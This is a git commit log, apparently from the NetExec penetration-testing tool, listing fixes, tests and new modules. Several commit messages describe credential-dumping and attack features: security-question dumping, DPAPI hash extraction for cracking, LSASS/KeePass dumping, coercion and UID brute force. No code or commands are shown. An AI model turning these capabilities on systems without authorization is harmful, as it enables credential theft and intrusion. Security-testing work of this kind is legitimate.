Alexander Neff 069fb908b0 Fix issues where we need kerberos authentication logic, but implicitely use kerberos (e.g. --use-kcache) 2024-08-03 08:44:36 -04:00
Alexander Neff 1292f0f8fb Fix spider_plus bug where len was applied to the count not an array 2024-08-02 11:57:09 -04:00
Alex f8ac2e1ff1 Merge pull request #391 from glefait/patch-1
Fix: module spider_plus with filtered folders
2024-08-02 17:42:59 +02:00
Guillem Lefait 1839c0cb4c Fix: module spider_plus with filtered folders
With option to filter folders is set and a folder matches the filter, there is a typo in the incremented counter.

The counter should be ` self.stats[f"num_{result_type}s_filtered"]`  and not `self.stats[f"{result_type}s_filtered"]`.

The latter does not exists and trigger the following error:
```
KeyError: 'folders_filtered'
```

Signed-off-by: Guillem Lefait <[email protected]>
2024-08-01 11:01:16 -04:00
Alex e76d4e98fe Merge pull request #390 from Pennyw0rth/neff-fix-mssql_priv
Fix admin check in mssql_priv
2024-08-01 14:45:01 +02:00
joaovarelas 506486fa62 Merge branch 'Pennyw0rth:main' into main 2024-07-31 08:57:51 +00:00
Alex a28c441ae2 Merge pull request #378 from nikaiw/check_admin_false_positive
Fix check admin false positive on certain target (e.g Netapp)
2024-07-28 19:59:29 +02:00
Alexander Neff 3db14d4de4 Formating 2024-07-28 12:49:35 -04:00
Alexander Neff 6afb8bba0b Adding rpc auth level 2024-07-28 12:46:59 -04:00
Alexander Neff 7bb04c92b1 Formating 2024-07-27 18:05:17 -04:00
Alex 80d03ad3ee Merge pull request #387 from Pennyw0rth/neff-fix-netbios
Stop NetBiosTimeout and error producing large stack traces
2024-07-27 20:52:09 +02:00
joaovarelas b4612ea38c trycatch and suppress errors mod hyperv-host.py 2024-07-27 19:05:59 +01:00
joaovarelas 11983af3fb Merge branch 'Pennyw0rth:main' into main 2024-07-27 17:46:23 +00:00
Alexander Neff 41a21ee838 Fix admin check in mssql_priv 2024-07-27 10:59:38 -04:00
Alex c0adbf1eb8 Merge pull request #389 from 3ldidi94/patch-1
Update handlekatz.py pypykatz import
2024-07-27 15:31:41 +02:00
3ldidi94 41b8fbb715 Update handlekatz.py
Fix pypykatz import in handlekatz

Signed-off-by: 3ldidi94 <[email protected]>
2024-07-27 13:31:20 +02:00
Alexander Neff 4504cf29d0 Add comment 2024-07-26 17:06:35 -04:00
Alexander Neff 693da7120b Stop NetBiosTimeout and error producing large stack traces 2024-07-26 16:59:48 -04:00
Alexander Neff 413e5cd5d0 Fix display bug with ip and add creds to sccmhunter 2024-07-26 15:38:31 -04:00
Alexander Neff f18c442a10 Finish SCCM string enumeration 2024-07-26 13:12:06 -04:00
zblurx 548b6d0c28 Merge pull request #384 from Pennyw0rth/zblurx-patch-1
Update dploot to 2.7.4 in pyproject.toml
2024-07-25 18:08:00 +02:00
zblurx 7b3145e6ec udpate poetry.lock 2024-07-25 17:58:15 +02:00
zblurx 0234219daa Update dploot to 2.7.4 in pyproject.toml
Signed-off-by: zblurx <[email protected]>
2024-07-25 17:47:58 +02:00
Alex cb639c8854 Merge pull request #295 from Adamkadaban/dumpSecurityQuestionsModule
add new security-questions module
2024-07-23 20:24:07 +02:00
Alexander Neff 74dcef77ce Add CAS attribute 2024-07-21 06:06:41 -04:00
termanix 18a857396c Update ldap.py, added findDelegation
Signed-off-by: termanix <[email protected]>
2024-07-21 12:59:10 +03:00
termanix 176c480beb Update proto_args, added find delegation
Signed-off-by: termanix <[email protected]>
2024-07-21 12:54:20 +03:00
Alexander Neff 21515206b4 Improve code readability 2024-07-20 17:34:49 -04:00
Alexander Neff b9882167a3 Finish SCCM basic enumeration 2024-07-20 17:24:15 -04:00
NK 6a735c1619 add an option to ioxidresolver to get only interfaces IP for IP different than targets 2024-07-20 22:43:15 +02:00
NK 703191308a Fix check admin false positive on certain target (e.g Netapp) 2024-07-20 22:00:06 +02:00
NK be9ee13290 This module automate extraction of dpapi "hash" based on the user's protected masterkey
Big thanks to @Fist0urs for the awesome groundwork
This work was presented a long time ago see https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf
Currently the module is written to only generated dpapi "hash" in the context of a Domain
(Hashcat -m 15310 or -m 15900)
This is a first ugly version, lot of room for improvement
2024-07-20 21:48:47 +02:00
joaovarelas f54deff68e edited reg query fail msgs 2024-07-20 14:29:04 +01:00
joaovarelas 43da81861f Merge branch 'Pennyw0rth:main' into main 2024-07-20 14:27:30 +01:00
Alex 398716de24 Merge pull request #376 from Pennyw0rth/neff-patch-2
Add try&except block for DCERPCExceptions to fix #373
2024-07-19 23:37:49 +02:00
Alexander Neff 4cb3b417d6 Resolve all computer dns_hostnames of all sids that have full controle over the sccm object 2024-07-19 16:51:57 -04:00
Alex a1ca2697e3 Merge branch 'main' into neff-patch-2 2024-07-19 19:21:31 +02:00
Alex 8ed41498ff Merge pull request #375 from Pennyw0rth/neff-patch-1
Fix ruff linting
2024-07-19 19:21:12 +02:00
Alexander Neff ab0af5ab4a Add try&except block for DCERPCExceptions and updated module 2024-07-19 12:27:24 -04:00
Alexander Neff 6651fb0698 Fix ruff linting 2024-07-19 12:11:58 -04:00
Alex 1839f7a5ac Merge pull request #372 from Kamuno/fix-nla-format
Fixed nla detection and error format string
2024-07-19 18:07:57 +02:00
joaovarelas 8a6fb7c67a add module hyperv-host.py 2024-07-19 16:25:39 +01:00
Christopher Beckmann a1c57ee8d2 Fixed nla detection and error format string 2024-07-19 15:43:03 +02:00
Alexander Neff 280baadf07 Add try&except block for every user so we continue if the first fails 2024-07-18 18:39:45 -04:00
Alexander Neff 766ef1e81e Update impacket 2024-07-18 18:26:56 -04:00
Alex 5ae4134ab7 Merge branch 'main' into dumpSecurityQuestionsModule 2024-07-19 00:25:54 +02:00
Alexander Neff 2575bce0d6 Swap bbreak with continue as we would only query the first user if he hasnt security questions 2024-07-18 18:23:59 -04:00
Alex 3a5c109fed Merge pull request #371 from termanix/patch-5 2024-07-18 09:46:21 +02:00
termanix 5b186f4295 Update enum_av Added Trellix EDR
Signed-off-by: termanix <[email protected]>
2024-07-17 22:58:26 +03:00
termanix e0faaf3dbf Changed uid-brute for to keep consistency with SMB 2024-07-09 09:35:09 +03:00
termanix d071631c1a Update e2e_commands.txt - bruteforceuid added
Signed-off-by: termanix <[email protected]>
2024-07-08 18:26:49 +03:00
termanix 59b6bf8f76 Update proto_args.py
Signed-off-by: termanix <[email protected]>
2024-07-08 18:13:15 +03:00
termanix 7e52f8da69 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-07-08 17:08:39 +03:00
Alex 54cad53328 Merge pull request #365 from Pennyw0rth/neff-patch-1
Remove message that could be too annoying
2024-07-06 13:34:28 +02:00
Alexander Neff e96c301721 Change fail log to debug 2024-07-06 07:04:50 -04:00
Alexander Neff 3c64d27c68 Remove message that could be too annoying 2024-07-06 06:49:40 -04:00
mpgn 71cb5e99ef Merge pull request #361 from Pennyw0rth/dcom_fix
Fix mmcexec method thanks to @ippsec AND a lot of other small things
2024-07-06 12:11:36 +02:00
Alexander Neff d036fa8c04 Fix kerberos authentication when NTLM is not available 2024-07-05 21:15:29 -04:00
Alexander Neff fbf2546172 Fix laps login with kerberos 2024-07-05 18:18:57 -04:00
Alexander Neff abb5f1d99a Simplify error log 2024-07-05 15:55:41 -04:00
Alexander Neff d9ce9e9b62 Remove unused import and simplify addition 2024-07-04 13:55:38 -04:00
Alexander Neff 4045bb4185 Deactivate kerberos auth when retrieved laps creds 2024-07-04 13:50:37 -04:00
Alexander Neff 9d8eeb80e1 Update lsassy to 3.1.12 2024-07-04 12:56:41 -04:00
mpgn f17ea75de3 fix ruff 2024-07-04 18:19:36 +02:00
mpgn 18369b1739 Remove ntlm hash for laps (as not compatible with py10) + add dns_server option to laps 2024-07-04 18:12:12 +02:00
mpgn 3c89bcb19a remove array (not great with a lot of users on the domain 2024-07-03 23:44:16 +02:00
mpgn 68c827dcf6 add try catch on db 2024-07-03 14:47:56 +02:00
mpgn eb6be54ff1 fix kerberos support is not ntlm supported with fqdn machine name 2024-07-03 12:35:57 +02:00
mpgn 852e7819e5 fix ruff test 2024-07-02 23:44:58 +02:00
mpgn 42ce37d231 if ntlm not supported (only kerberos) big big stacktrace 2024-07-02 22:10:08 +02:00
mpgn 63e8295c46 if ldap connection failed when getting info, there is no need to continue to auth 2024-07-02 20:48:59 +02:00
mpgn b86f675100 fix wrong return in loop 2024-07-02 17:11:56 +02:00
Alex ccbeb4e402 Merge pull request #357 from termanix/patch-3
Small Bug Fix on Listing SMB Shares with Kerberos Auth
2024-07-02 17:01:19 +02:00
Alexander Neff 64e78fd7cd Fixing shares function with kerberos and minor database stuff 2024-07-02 10:56:59 -04:00
Alex d8f0f41d76 Merge pull request #364 from termanix/patch-4
Bug Fix While Using Bloodhound with --use-kcache Issue #363
2024-07-02 16:43:53 +02:00
Alexander Neff 9f3a77c2ab Fix missing colon 2024-07-02 10:26:58 -04:00
termanix 63f2d6943d Update ldap.py
swapped the execution&logging lines. For if there is an error on auth file

Signed-off-by: termanix <[email protected]>
2024-07-02 17:23:07 +03:00
termanix c83895697f Bug Fix While Using Bloodhound with --use-kcache Issue #363
Signed-off-by: termanix <[email protected]>
2024-07-02 17:05:34 +03:00
mpgn 98236804ab fix stacktrace with logger 2024-07-02 15:21:32 +02:00
Alexander Neff f9b61391ca Add logging statement to dcom connection 2024-07-02 07:33:56 -04:00
Alexander Neff 5b931d0cfa Fix add-computer if domain could not be resolved 2024-07-01 17:32:15 -04:00
Adamkadaban 0d5ac4e59e fix find/replace nonsense 2024-06-30 18:07:55 -07:00
Adamkadaban 45e1f0815f make variable names pythonic 2024-06-30 17:54:39 -07:00
Adam Hassan 21b1cfbb8c Merge branch 'Pennyw0rth:main' into dumpSecurityQuestionsModule 2024-06-30 17:49:55 -07:00
Alexander Neff 018ad9dbe7 Working on SCCM enumeration 2024-06-30 20:25:22 -04:00
Alexander Neff 1f83e6393f Fix bug where ldap parser would not parse all values of an attribute containing a list 2024-06-30 20:25:06 -04:00
mpgn da088d9e60 fix args with bloodhound (report from discord) 2024-06-30 17:50:56 -04:00
mpgn ce31e24111 add double quote 2024-06-30 17:38:35 -04:00
mpgn aab22cf4bc update require_admin 2024-06-30 17:33:55 -04:00
mpgn 6e391cad46 fix mmcexec method thanks to @ippsec 2024-06-30 17:00:16 -04:00
Alexander Neff 5f45bfcf37 Working on sccm recon 2024-06-28 12:10:22 -04:00
Alexander Neff 592793c718 Add missing requires_admin 2024-06-28 12:10:13 -04:00
termanix 5983b86b52 Small Bug Fix on Listing SMB Shares with Kerberos Auth
This is a bug I came across while working with Kerberos on another project.  If the information of the user in the ticket is not in the database, it gives an index error cause of user_id is empty. I thought about adding the ticket information as user_id, but since it wouldn't have any meaning when it expired, I proceeded with pass.


Signed-off-by: termanix <[email protected]>
2024-06-25 18:51:32 +03:00
termanix 449f556dc1 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-25 16:05:38 +03:00
Alex 669a55fd98 Merge pull request #356 from Pennyw0rth/neff-fix-332 2024-06-25 00:26:55 +02:00
Alex ead02d812e Merge pull request #286 from termanix/New_Module_Bitlocker 2024-06-25 00:23:44 +02:00
Alex cce5c32eb1 Merge pull request #293 from Sant0rryu/main 2024-06-24 00:37:59 +02:00
Alex b0b4641724 Merge pull request #355 from bfnserra/patch-1 2024-06-24 00:36:37 +02:00
Alexander Neff 8bbab764c5 Change execution to cmd and fix bugs 2024-06-23 18:18:39 -04:00
Alexander Neff 4f5453ee09 Merge branch 'main' into bitlocker 2024-06-23 17:51:37 -04:00
Alexander Neff 9d32ea0a2b Add exception handling to prevent crashes against linux hosts 2024-06-23 13:54:48 -04:00
termanix b9d73524ee Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-22 16:39:55 +03:00
Nicolas Serra e50f7acbd5 Update pso.py
Fix Typo (obersationWindow to observationWindow)

Signed-off-by: Nicolas Serra <[email protected]>
2024-06-21 19:12:03 +02:00
Alex ada4905922 Merge pull request #354 from aelmosalamy/patch-1
fix: little typo in help args
2024-06-20 00:51:53 +02:00
Adham Elmosalamy e13ec2776e fix: little typo in help args
Signed-off-by: Adham Elmosalamy <[email protected]>
2024-06-20 01:30:30 +04:00
jubeaz 073938f67a merge from main 2024-06-19 08:02:21 +02:00
Lodos2005 2ec51902a3 Add coerce_plus Module 2024-06-18 19:00:12 +03:00
Kahvi-0xFF 755113d3c7 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 447bded268 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF e7689542f2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF cf8c1b19ca Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 27caff59d5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 19ea1bc559 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 73b35eb0ea Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF d5bb6d9606 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 1e90103b4d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Sébastien Miguel 5ccf0d3553 Update powershell_history.py
add description to module option

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel 8132bf73d3 Update powershell_history.py
Add the path to output file in the output

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel 1105dcdf52 Update powershell_history.py
Add export feature and some keywords

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel bfed3d462b Create powershell_history.py
First commit 

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Adamkadaban 39b877a3f1 use context.log.fail instead of print and add debugging 2024-06-18 11:06:42 -04:00
Adamkadaban da61939a0d only import loads function from json. 2024-06-18 11:06:42 -04:00
Adamkadaban 3724142717 add security-questions module to e2e test 2024-06-18 11:06:42 -04:00
Adamkadaban 4919fe05fd add comments to security-questions module 2024-06-18 11:06:42 -04:00
Adamkadaban 6838793301 ruff checks for security-questions module. all passing now 2024-06-18 11:06:42 -04:00
Adamkadaban a579d2296a more verbose answer for when user has no questions
this can happen when json is `{"version":1,"questions":[]}`
2024-06-18 11:06:42 -04:00
Adamkadaban cc251e8b19 get rid of stray comment 2024-06-18 11:06:42 -04:00
Adamkadaban dcee201380 make this a high privilege module 2024-06-18 11:06:42 -04:00
Adamkadaban 39006b1fed add new security-questions module
this module will dump security questions and answers for all users on the machine assuming run as administrator

requires this PR to work: https://github.com/fortra/impacket/pull/1743
2024-06-18 11:06:42 -04:00
termanix ea5426b468 Update nfs.py
Bruteforce-UID added.

Kerberos auth left.

Signed-off-by: termanix <[email protected]>
2024-06-17 20:55:02 +03:00
termanix 8c2155cae5 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-17 11:42:52 +03:00
termanix 0b5bad9ba0 Update nfs.py
UID Brute Force added (To Do, Brute number will be taken by user)
disconnection debug bug fixed

To Do Kerberos Auth

Signed-off-by: termanix <[email protected]>
2024-06-17 11:42:35 +03:00
Alexander Neff c09304ef6c Autoformat 2024-06-14 20:39:04 -04:00
Alexander Neff 008c490f5b Reworked interface module to core functionality and fixed all its bugs 2024-06-14 20:38:29 -04:00
Alexander Neff 9d3bc4d071 Formating and ruff 2024-06-14 17:36:40 -04:00
Alex 3eaa1632c9 Merge branch 'main' into main 2024-06-14 16:46:48 -04:00
Alex 1af282888c Merge pull request #344 from n00py/main
Add EnumAV Detection for Cortex XDR
2024-06-14 16:15:20 -04:00
Alex f2311b308b Merge pull request #345 from Anhydrite/main
Added domain name for --users with samr
2024-06-13 19:33:25 -04:00
Marshall Hallenbeck 65fc94f8dd nfs: properly initialize table variables to None 2024-06-13 12:37:54 -04:00
Marshall Hallenbeck 7b37015b62 nfs: formatting, commenting, and small fixes 2024-06-13 11:14:17 -04:00
Marshall Hallenbeck 4c5844820f nfs(db): add LIR and shares table and reflection; rename conn to sess 2024-06-13 11:07:26 -04:00
Marshall Hallenbeck 27b52e2da4 deps: add pynfsclient 2024-06-13 11:02:20 -04:00
termanix d3c9d7258a Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-11 22:12:42 +03:00
Anhydrite d44ed75076 Merge branch 'Pennyw0rth:main' into main 2024-06-11 17:21:42 +02:00
Anhydrite 271268a092 added domain name for --users with samr 2024-06-11 17:21:07 +02:00
n00py cdffba942d Update enum_av.py
Signed-off-by: n00py <[email protected]>
2024-06-11 08:35:36 -06:00
n00py 15f29a9c4f Update enum_av.py
Signed-off-by: n00py <[email protected]>
2024-06-11 08:33:22 -06:00
n00py 08e3f17365 Update enum_av.py
Added signature for Cortex

Signed-off-by: n00py <[email protected]>
2024-06-11 08:31:33 -06:00
Alex e4ca4f9fef Merge pull request #343 from Anhydrite/main 2024-06-11 08:59:55 -04:00
Anhydrite 5f79c176ea PR Fixes: changed logger success to display & added len 2024-06-11 14:38:03 +02:00
Anhydrite 3e18d2f588 Just added prints 2024-06-11 11:48:09 +02:00
Alex c956dba3ab Merge pull request #340 from Pennyw0rth/neff-os-detection 2024-06-10 13:36:48 -04:00
Alexander Neff fbeab5fb5c Fingerprint Samba 2024-06-09 18:15:20 -04:00
termanix fbec1c7c31 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-09 15:34:10 +03:00
Marshall Hallenbeck 665f778dd0 Merge pull request #336 from Pennyw0rth/update_hash_tests
add testing hash file to e2e_commands.txt
2024-06-08 09:36:48 -04:00
Marshall Hallenbeck 791733853e add testing hash file to e2e_commands.txt 2024-06-07 21:16:51 -04:00
Alex eedbce83b6 Merge pull request #333 from Pennyw0rth/marshall-guest-login
Add output if a successful authentication is via Guest privileges
2024-06-07 19:58:11 +02:00
Alexander Neff 2bc18c5786 Fix Pwned spacing 2024-06-07 13:41:25 -04:00
termanix 71391b11de Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-07 10:26:58 +03:00
Marshall Hallenbeck e25988275a Merge pull request #334 from fpreynaud/main
[NXCDB] Add support for CTRL-D
2024-06-06 10:49:35 -04:00
François REYNAUD f3fb3d431f [NXCDB] Add support for CTRL-D 2024-06-06 12:15:42 +02:00
Marshall Hallenbeck 0983df94db fix: fix hash length since its 32/64 (not 16) and we need to consider the colon between NTLM hashes 2024-06-05 12:18:27 -04:00
Marshall Hallenbeck bd8620125c tests: add test hashes 2024-06-05 12:18:04 -04:00
Marshall Hallenbeck aa38c7a18a revert spacing for Admin/Guest output 2024-06-05 12:05:52 -04:00
Marshall Hallenbeck f1894b2c6b remove commited pyc files 2024-06-05 09:01:18 -04:00
Marshall Hallenbeck 3797ccf888 fix(ruff): E226 2024-06-05 08:37:44 -04:00
Marshall Hallenbeck cfe231a9a1 feat(smb): check if successful login is guest privs 2024-06-05 08:37:24 -04:00
termanix 9cf6d983e2 Update e2e_commands.txt
Signed-off-by: termanix <[email protected]>
2024-06-04 12:26:15 +03:00
termanix fbfef1b4b0 Update e2e_commands.txt
Added NFS

Signed-off-by: termanix <[email protected]>
2024-06-04 12:24:01 +03:00
termanix 80839d850e New NFS Protocol
Signed-off-by: termanix <[email protected]>
2024-06-04 10:04:14 +03:00
Alex 67da598b11 Merge pull request #279 from sepauli/sepauli/fix-keepass_trigger
fix extract_password
2024-06-01 23:53:48 +02:00
Alexander Neff efa0b75c10 Fix linting 2024-06-01 17:47:07 -04:00
Alex 2fa3e83ae9 Merge branch 'main' into sepauli/fix-keepass_trigger 2024-06-01 23:31:08 +02:00
Alex 6858958864 Merge pull request #327 from Pennyw0rth/ItsAlwaysDNS
ItsAlwaysDNS
2024-05-29 16:44:09 +02:00
Alexander Neff 03e25b708f Merge branch 'main' into ItsAlwaysDNS 2024-05-29 10:30:04 -04:00
Alex 64319fdb3c Merge pull request #326 from Pennyw0rth/marshall-windows-fixes
Windows Fixes for v1.2
2024-05-29 16:27:03 +02:00
Alexander Neff 8db769e290 Fix tests and remove unnecessary abspath 2024-05-28 09:38:12 +02:00
Shad0wC0ntr0ller db3e7923fb Update pre2k.py
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-05-27 20:40:16 -04:00
Shad0wC0ntr0ller 56feb10348 Identify Pre-Created Computer Accounts
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-05-27 20:04:58 -04:00
Alexander Neff 20e01f92eb Version bump 2024-05-27 18:45:00 -04:00
Alexander Neff 9d70105230 More path fixes 2024-05-28 00:20:34 +02:00
Alexander Neff 69e47d15cb Fix issues with hardcoded /tmp 2024-05-27 23:17:30 +02:00
Alexander Neff bd7202d2c5 Fix test suite 2024-05-27 23:07:13 +02:00
Alexander Neff 63a78cb176 Fix ssh tests 2024-05-27 02:52:58 -04:00
Alexander Neff b6c57ce13a Change only git bash encoding to utf8 2024-05-27 08:05:09 +02:00
Alex 928b0d947e Add utf-8 default to testing suite 2024-05-26 19:14:12 +02:00
Alex 68fb2d3e86 Change default encoding to utf-8 2024-05-26 19:04:36 +02:00
Alex 1111e11108 Add executable testing 2024-05-26 18:24:36 +02:00
Alexander Neff d0f07b4138 Fix spec file for smb 2024-05-26 07:26:21 -04:00
sepauli 94e0ab62ea fix typo 2024-05-25 18:58:29 +02:00
sepauli 061ee498bf fix output for keepass2 2024-05-25 18:37:03 +02:00
Marshall Hallenbeck 53646f9d31 Merge branch 'main' into marshall-windows-fixes
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-25 11:02:18 -05:00
Alex b855dac2b6 Merge pull request #315 from Pennyw0rth/neff-e2e_tests 2024-05-25 17:26:36 +02:00
Alexander Neff 404bff5e26 Merge branch 'main' into neff-e2e_tests 2024-05-25 10:51:19 -04:00
zblurx ad923f842d Merge pull request #225 from Pennyw0rth/passwords_dump_update
Passwords dump update
2024-05-25 13:44:53 +02:00
Marshall Hallenbeck 49f6f9cbfd Merge branch 'main' into neff-e2e_tests
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-24 10:07:28 -05:00
Marshall Hallenbeck f060aeb75f Merge branch 'main' into passwords_dump_update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-24 09:58:28 -05:00
Marshall Hallenbeck 630d32592e Merge pull request #325 from Fabrizzio53/main
Added --dns-tcp,--dns-timeout and --dns-server parameters to the ldap protocol when using --bloodhound
2024-05-24 09:55:37 -05:00
Fabrizzio53 a4e9ef21ce Update proto_args.py
Signed-off-by: Fabrizzio53 <[email protected]>
2024-05-23 23:22:16 -03:00
Fabrizzio53 ddb89b9a4b Update ldap.py
Signed-off-by: Fabrizzio53 <[email protected]>
2024-05-23 23:21:57 -03:00
Marshall Hallenbeck 40862382f1 Merge pull request #321 from Pennyw0rth/marshall-options-fix
Refactor argparse options
2024-05-23 20:13:00 -05:00
Marshall Hallenbeck 3def5487ee fix: add back in option that was accidentally removed during merge conflict 2024-05-23 20:00:03 -04:00
Marshall Hallenbeck 6b92270a38 fix(slinky): use proper TMP and allow custom shares to ignore 2024-05-23 11:07:36 -04:00
Marshall Hallenbeck 9879edffca fix(paths): change TMP creation to if/else, so Windows properly sets 2024-05-23 11:07:05 -04:00
Marshall Hallenbeck 0983f7950e dns: allow DNS options to be called anywhere on the command line 2024-05-22 17:08:34 -04:00
Marshall Hallenbeck 12a7fa0b2f Merge branch 'main' into marshall-options-fix
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-22 15:11:49 -05:00
Marshall Hallenbeck 2191deebce Merge pull request #309 from Pennyw0rth/neff-add-ldapquery
Add ldap query option
2024-05-22 15:06:01 -05:00
Marshall Hallenbeck db41c0893a Merge pull request #317 from Pennyw0rth/neff-command-execution
Improving execution speed and misc command execution improvements
2024-05-22 15:05:38 -05:00
Marshall Hallenbeck 06b1e066ba Merge pull request #307 from Pennyw0rth/marshall-wcc-fix
Fix: WCC Module - do not create log file on every file load
2024-05-22 15:04:22 -05:00
Disgame b1238fceb7 Merge branch 'Pennyw0rth:main' into timeroast_module 2024-05-22 15:48:03 +02:00
zblurx 9d6188eadf fix doublespace 2024-05-22 10:06:01 +02:00
Marshall Hallenbeck 16508f89d4 Merge branch 'main' into marshall-options-fix
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:46:09 -05:00
Marshall Hallenbeck ab23659c7f fix(wcc): reduce spammy output for wcc (will fix this in a better way later); closes #232 2024-05-21 14:38:50 -05:00
Marshall Hallenbeck 42642016ba remove newline
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:38:50 -05:00
Marshall Hallenbeck 6fdead466e fix(wcc): remove unnecessary comments and whitespace
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:38:50 -05:00
Marshall Hallenbeck d91e15413e fix(wcc): do not create the wcc log file every time -L is ran, etc 2024-05-21 14:38:50 -05:00
Marshall Hallenbeck de2541e212 tests: add more exec-method testss 2024-05-21 14:55:11 -04:00
zblurx dba83a43f9 multiple fixes 2024-05-21 20:29:42 +02:00
Marshall Hallenbeck 4d6b3b3f71 tests: add exec-method tests for cmd 2024-05-21 13:09:01 -04:00
zblurx 67de1a1fa1 fix on dpapiSystem object 2024-05-21 17:49:51 +02:00
Marshall Hallenbeck 4afc67422a ruff: apply ruff 2024-05-21 11:30:27 -04:00
Marshall Hallenbeck cfbfeec7a7 tests: just always print failures, and remove option; update tmp folder logic, add put/get file tests for smb, and fix file referencing in tests 2024-05-21 11:30:07 -04:00
zblurx 57f35d453c fix error message condition 2024-05-21 14:45:02 +02:00
zblurx 8a0dcf0429 Merge branch 'main' into passwords_dump_update
Signed-off-by: zblurx <[email protected]>
2024-05-21 14:24:24 +02:00
zblurx dd7cbb6e74 fix ruff warnings 2024-05-21 14:19:06 +02:00
zblurx 85c44fa7bd update e2e 2024-05-21 14:15:47 +02:00
zblurx 7e90d8082f fixed sccm 2024-05-21 14:15:22 +02:00
zblurx 9b74ea59c3 update vnc 2024-05-21 12:46:05 +02:00
zblurx 1c740bd199 changed sccm to go as a core option 2024-05-21 10:39:01 +02:00
zblurx f530cbdc58 add e2e commands for mremoteng and mobaxterm 2024-05-21 10:21:25 +02:00
zblurx a07ee5f23f update vnc module 2024-05-21 10:14:36 +02:00
Marshall Hallenbeck f3b73ffdf2 fix(mssql): check if output isnt an empty list/None before trying to stringify it for output 2024-05-20 16:05:44 -04:00
Alexander Neff b0e9fe24f9 Fix test paths 2024-05-20 13:50:31 -04:00
Alexander Neff f58d7385aa Merge branch 'main' into neff-e2e_tests 2024-05-20 12:54:36 -04:00
Alexander Neff 837f9a04a2 Fix "tries" logic due to merge and beautify code 2024-05-20 12:48:52 -04:00
Alexander Neff 2e73007281 Merge branch 'main' into neff-command-execution 2024-05-20 12:36:27 -04:00
Marshall Hallenbeck cf231d5985 Merge pull request #296 from Pennyw0rth/marshall-pwsh-update
Refactor/fix/update PowerShell and related features
2024-05-20 11:27:28 -05:00
Marshall Hallenbeck 23a7d11eeb fix: revert output for command execution and normalize it to what SMB was 2024-05-20 12:23:57 -04:00
Marshall Hallenbeck e10e38f152 Merge branch 'main' into marshall-pwsh-update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-20 11:09:01 -05:00
Marshall Hallenbeck f8655022cf fix(smb): change command output back to match mssql (one big blob) 2024-05-20 12:11:17 -04:00
Marshall Hallenbeck d0a4afe19b Merge pull request #196 from XiaoliChan/dns
[DNS] Add DNS args
2024-05-20 10:55:50 -05:00
Alex ca01584f76 Merge pull request #318 from Pennyw0rth/Marshall-Hallenbeck-patch-1
fix(tests): add spaces & fix one file reference
2024-05-20 17:54:49 +02:00
Marshall Hallenbeck bda8700a58 fix(tests): add spaces & fix one file reference
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-20 11:46:52 -04:00
Alexander Neff 447d1719c1 Add exec methods to e2e tests 2024-05-20 11:14:01 -04:00
Alexander Neff 4ffcc83bcc Make execution methods more efficient and wait powershell execution if detectable 2024-05-20 10:50:48 -04:00
Alexander Neff 5655e5c0fd Replace fixed default text with argparse default string 2024-05-20 09:33:46 -04:00
Alexander Neff 9be17e92d9 Fix wrong function call 2024-05-20 06:11:33 -04:00
Alexander Neff 0166a426f0 Merge branch 'main' into dns 2024-05-20 05:57:38 -04:00
Marshall Hallenbeck 65030d7662 Merge pull request #313 from Pennyw0rth/neff-fix-ssh
Handle paramiko error when bruteforcing
2024-05-19 16:47:00 -05:00
Marshall Hallenbeck 198f8f8a79 Merge pull request #314 from Pennyw0rth/marshall-tests-fix
Fix for tests referencing files, password/username variable, and a couple KERBEROS space issues
2024-05-19 16:46:13 -05:00
Marshall Hallenbeck 47b1c1f738 fix(wmi): add auth_level to kerberos auth, revert my previous changes, move Impacket silencing, add debugging 2024-05-19 17:41:38 -04:00
Alex 7afb4afd35 Merge branch 'main' into sepauli/fix-keepass_trigger 2024-05-19 23:40:10 +02:00
Alexander Neff 4bc012655d Remove left over code 2024-05-19 17:12:01 -04:00
Alexander Neff 1fce072cbe Merge branch 'marshall-tests-fix' into neff-e2e_tests 2024-05-19 17:00:10 -04:00
Alexander Neff c1d52364b3 Removing retries logic 2024-05-19 16:51:49 -04:00
